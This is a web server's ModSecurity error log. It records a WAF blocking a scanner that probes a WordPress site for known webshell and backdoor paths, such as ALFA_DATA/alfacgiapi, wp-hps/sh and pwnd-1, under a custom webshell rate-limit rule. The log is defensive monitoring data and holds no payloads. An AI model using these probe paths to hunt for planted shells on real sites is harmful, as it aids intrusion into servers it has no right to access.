[Sat Feb 28 08:53:10.380036 2026] [:error] [pid 22194:tid 22216] [client 173.244.55.30:27813] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "aaI8dn6mbajs3bzQGyu1AgAAAVQ"]
[Sat Feb 28 08:53:11.252049 2026] [:error] [pid 22194:tid 22209] [client 173.244.55.31:32673] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "aaI8d36mbajs3bzQGyu1GgAAAU0"]
[Sat Feb 28 08:53:12.997608 2026] [:error] [pid 11791:tid 11797] [client 173.244.55.23:37139] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/id3/"] [unique_id "aaI8eGuX5e1Q32gqxH1AAgAAAQQ"]
[Sat Feb 28 08:53:14.819298 2026] [:error] [pid 39183:tid 39214] [client 173.244.55.22:32805] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/"] [unique_id "aaI8ehCf4HvhVePw3LanrwAAABY"]
[Sat Feb 28 08:53:18.851065 2026] [:error] [pid 39292:tid 39313] [client 173.244.55.30:23705] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/"] [unique_id "aaI8fqIAO5fN7BxyqcFDtAAAANM"]
[Sat Feb 28 08:53:23.716533 2026] [:error] [pid 11791:tid 11796] [client 173.244.55.31:20141] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/"] [unique_id "aaI8g2uX5e1Q32gqxH1A_gAAAQM"]
[Sat Feb 28 08:53:25.483216 2026] [:error] [pid 11791:tid 11809] [client 173.244.55.23:46047] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/"] [unique_id "aaI8hWuX5e1Q32gqxH1BNQAAARA"]
[Sat Feb 28 08:53:29.509644 2026] [:error] [pid 39185:tid 39249] [client 173.244.55.20:40309] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/"] [unique_id "aaI8iRVE-FfM89u7BQav0AAAAIM"]
[Sat Feb 28 08:53:36.820432 2026] [:error] [pid 11791:tid 11808] [client 173.244.55.23:33361] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-content/uploads/"] [unique_id "aaI8kGuX5e1Q32gqxH1CJQAAAQ8"]
[Sat Feb 28 08:53:37.702227 2026] [:error] [pid 11791:tid 11815] [client 173.244.55.22:61757] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-content/uploads/"] [unique_id "aaI8kWuX5e1Q32gqxH1CRQAAARY"]
[Sat Feb 28 08:53:40.355171 2026] [:error] [pid 39183:tid 39211] [client 173.244.55.23:30765] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/controller/extension/extension/"] [unique_id "aaI8lBCf4HvhVePw3LaoSAAAABM"]
[Sat Feb 28 08:53:41.225500 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.23:47349] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/controller/extension/extension/"] [unique_id "aaI8lWuX5e1Q32gqxH1CkwAAAQI"]
[Sat Feb 28 08:53:44.773452 2026] [:error] [pid 39292:tid 39307] [client 173.244.55.28:22439] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/uploads/images/"] [unique_id "aaI8mKIAO5fN7BxyqcFEigAAAM0"]
[Sat Feb 28 08:53:45.643912 2026] [:error] [pid 39185:tid 39270] [client 173.244.55.28:32813] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/uploads/images/"] [unique_id "aaI8mRVE-FfM89u7BQawdAAAAJg"]
[Sat Feb 28 08:53:46.522279 2026] [:error] [pid 39184:tid 39230] [client 173.244.55.30:44815] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/uploads/images/"] [unique_id "aaI8mltZF9Zd_U7easCKLQAAAEs"]
[Sat Feb 28 08:53:50.544400 2026] [:error] [pid 39183:tid 39202] [client 173.244.55.31:39811] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/include/"] [unique_id "aaI8nhCf4HvhVePw3LaoigAAAAo"]
[Sat Feb 28 08:53:51.417822 2026] [:error] [pid 11791:tid 11816] [client 173.244.55.30:51343] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/include/"] [unique_id "aaI8n2uX5e1Q32gqxH1DXQAAARc"]
[Sat Feb 28 08:53:52.296504 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.25:59781] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/include/"] [unique_id "aaI8oGuX5e1Q32gqxH1DeQAAAQI"]
[Sat Feb 28 08:53:53.174878 2026] [:error] [pid 22194:tid 22210] [client 173.244.55.25:45149] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/include/"] [unique_id "aaI8oX6mbajs3bzQGyu3YQAAAU4"]
[Sat Feb 28 08:53:54.948496 2026] [:error] [pid 39292:tid 39309] [client 173.244.55.22:50057] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "aaI8oqIAO5fN7BxyqcFE3QAAAM8"]
[Sat Feb 28 08:53:55.833942 2026] [:error] [pid 39292:tid 39305] [client 173.244.55.21:27085] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "aaI8o6IAO5fN7BxyqcFE6AAAAMs"]
[Sat Feb 28 08:54:07.378670 2026] [:error] [pid 39183:tid 39215] [client 173.244.55.26:49077] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache-wordpress/"] [unique_id "aaI8rxCf4HvhVePw3Lao4wAAABc"]
[Sat Feb 28 08:54:08.713525 2026] [:error] [pid 22194:tid 22204] [client 173.244.55.30:47799] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/ALFA_DATA/alfacgiapi/"] [unique_id "aaI8sH6mbajs3bzQGyu4nQAAAUg"]
[Sat Feb 28 08:54:10.070197 2026] [:error] [pid 39184:tid 39243] [client 173.244.55.23:29601] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/linkpreview/"] [unique_id "aaI8sltZF9Zd_U7easCK4QAAAFg"]
[Sat Feb 28 08:54:10.942883 2026] [:error] [pid 11791:tid 11813] [client 173.244.55.29:29453] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/linkpreview/"] [unique_id "aaI8smuX5e1Q32gqxH1E9QAAARQ"]
[Sat Feb 28 08:54:11.840438 2026] [:error] [pid 39184:tid 39224] [client 173.244.55.22:64261] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/linkpreview/"] [unique_id "aaI8s1tZF9Zd_U7easCK6gAAAEU"]
[Sat Feb 28 08:54:12.717988 2026] [:error] [pid 39292:tid 39294] [client 173.244.55.26:51535] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/linkpreview/"] [unique_id "aaI8tKIAO5fN7BxyqcFFogAAAMA"]
[Sat Feb 28 08:54:16.302941 2026] [:error] [pid 11791:tid 11805] [client 173.244.55.20:22411] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/db/"] [unique_id "aaI8uGuX5e1Q32gqxH1FXQAAAQw"]
[Sat Feb 28 08:54:18.949508 2026] [:error] [pid 11791:tid 11816] [client 173.244.55.26:61169] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/prenota/"] [unique_id "aaI8umuX5e1Q32gqxH1FmQAAARc"]
[Sat Feb 28 08:54:19.819510 2026] [:error] [pid 39183:tid 39198] [client 173.244.55.22:60183] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/prenota/"] [unique_id "aaI8uxCf4HvhVePw3LapLAAAAAY"]
[Sat Feb 28 08:54:20.700975 2026] [:error] [pid 39183:tid 39195] [client 173.244.55.22:64667] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/prenota/"] [unique_id "aaI8vBCf4HvhVePw3LapPQAAAAM"]
[Sat Feb 28 08:54:22.906105 2026] [:error] [pid 39292:tid 39296] [client 173.244.55.31:64713] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/Uwogh-Segs/"] [unique_id "aaI8vqIAO5fN7BxyqcFGIgAAAMI"]
[Sat Feb 28 08:54:25.119740 2026] [:error] [pid 22194:tid 22197] [client 173.244.55.20:28155] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-hps/sh/"] [unique_id "aaI8wX6mbajs3bzQGyu5tAAAAUE"]
[Sat Feb 28 08:54:26.434816 2026] [:error] [pid 22194:tid 22200] [client 173.244.55.22:33265] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wpeazvp/"] [unique_id "aaI8wn6mbajs3bzQGyu50AAAAUQ"]
[Sat Feb 28 08:54:30.062678 2026] [:error] [pid 39184:tid 39221] [client 173.244.55.21:24513] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/alera/"] [unique_id "aaI8xltZF9Zd_U7easCLPgAAAEI"]
[Sat Feb 28 08:54:30.942112 2026] [:error] [pid 39183:tid 39201] [client 173.244.55.21:38763] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/alera/"] [unique_id "aaI8xhCf4HvhVePw3LapggAAAAk"]
[Sat Feb 28 08:54:31.821801 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.22:20697] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/alera/"] [unique_id "aaI8x2uX5e1Q32gqxH1GgAAAAQk"]
[Sat Feb 28 08:54:38.065496 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.30:47123] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/apikey/"] [unique_id "aaI8zmuX5e1Q32gqxH1HBgAAAQk"]
[Sat Feb 28 08:54:41.187121 2026] [:error] [pid 22194:tid 22216] [client 173.244.55.21:34531] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/XML/"] [unique_id "aaI80X6mbajs3bzQGyu68wAAAVQ"]
[Sat Feb 28 08:54:43.855819 2026] [:error] [pid 11791:tid 11800] [client 173.244.55.23:37689] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/"] [unique_id "aaI802uX5e1Q32gqxH1HiAAAAQc"]
[Sat Feb 28 08:54:45.185977 2026] [:error] [pid 39292:tid 39312] [client 173.244.55.20:53225] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/"] [unique_id "aaI81aIAO5fN7BxyqcFHWgAAANI"]
[Sat Feb 28 08:54:49.142427 2026] [:error] [pid 11791:tid 11799] [client 173.244.55.21:35419] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "aaI82WuX5e1Q32gqxH1H7AAAAQY"]
[Sat Feb 28 08:54:51.355687 2026] [:error] [pid 39185:tid 39266] [client 173.244.55.29:22823] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/"] [unique_id "aaI82xVE-FfM89u7BQayoQAAAJQ"]
[Sat Feb 28 08:54:52.677460 2026] [:error] [pid 39184:tid 39236] [client 173.244.55.31:37097] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/"] [unique_id "aaI83FtZF9Zd_U7easCMHQAAAFE"]
[Sat Feb 28 08:54:54.902928 2026] [:error] [pid 11791:tid 11797] [client 173.244.55.25:36473] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/"] [unique_id "aaI83muX5e1Q32gqxH1IXwAAAQQ"]
[Sat Feb 28 08:55:01.155443 2026] [:error] [pid 39292:tid 39316] [client 173.244.55.20:52379] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/"] [unique_id "aaI85aIAO5fN7BxyqcFIrQAAANY"]
[Sat Feb 28 08:55:05.155762 2026] [:error] [pid 11791:tid 11808] [client 173.244.55.22:30197] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/google-seo-rank/"] [unique_id "aaI86WuX5e1Q32gqxH1JXwAAAQ8"]
[Sat Feb 28 08:55:08.271867 2026] [:error] [pid 22194:tid 22218] [client 173.244.55.28:37845] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/sky-pro/"] [unique_id "aaI87H6mbajs3bzQGyu8ewAAAVY"]
[Sat Feb 28 08:55:09.154044 2026] [:error] [pid 11791:tid 11808] [client 173.244.55.29:26609] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/sky-pro/"] [unique_id "aaI87WuX5e1Q32gqxH1JrgAAAQ8"]
[Sat Feb 28 08:55:11.378646 2026] [:error] [pid 22194:tid 22211] [client 173.244.55.21:46407] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/typehub/custom/"] [unique_id "aaI8736mbajs3bzQGyu8vgAAAU8"]
[Sat Feb 28 08:55:13.580357 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.22:50797] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd-1/"] [unique_id "aaI88WuX5e1Q32gqxH1KJgAAAQk"]
[Sat Feb 28 08:55:14.459764 2026] [:error] [pid 11791:tid 11816] [client 173.244.55.22:59377] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd-1/"] [unique_id "aaI88muX5e1Q32gqxH1KWAAAARc"]
[Sat Feb 28 08:55:16.231685 2026] [:error] [pid 39185:tid 39262] [client 173.244.55.21:54973] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/fix/"] [unique_id "aaI89BVE-FfM89u7BQazuAAAAJA"]
[Sat Feb 28 09:40:10.643114 2026] [:error] [pid 39185:tid 39251] [client 43.166.226.186:40156] [client 43.166.226.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaJHehVE-FfM89u7BQb5lgAAAIU"]
